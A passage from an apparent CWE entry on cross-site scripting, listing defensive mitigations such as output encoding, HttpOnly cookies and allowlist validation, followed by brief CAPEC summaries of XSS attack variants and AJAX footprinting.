- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.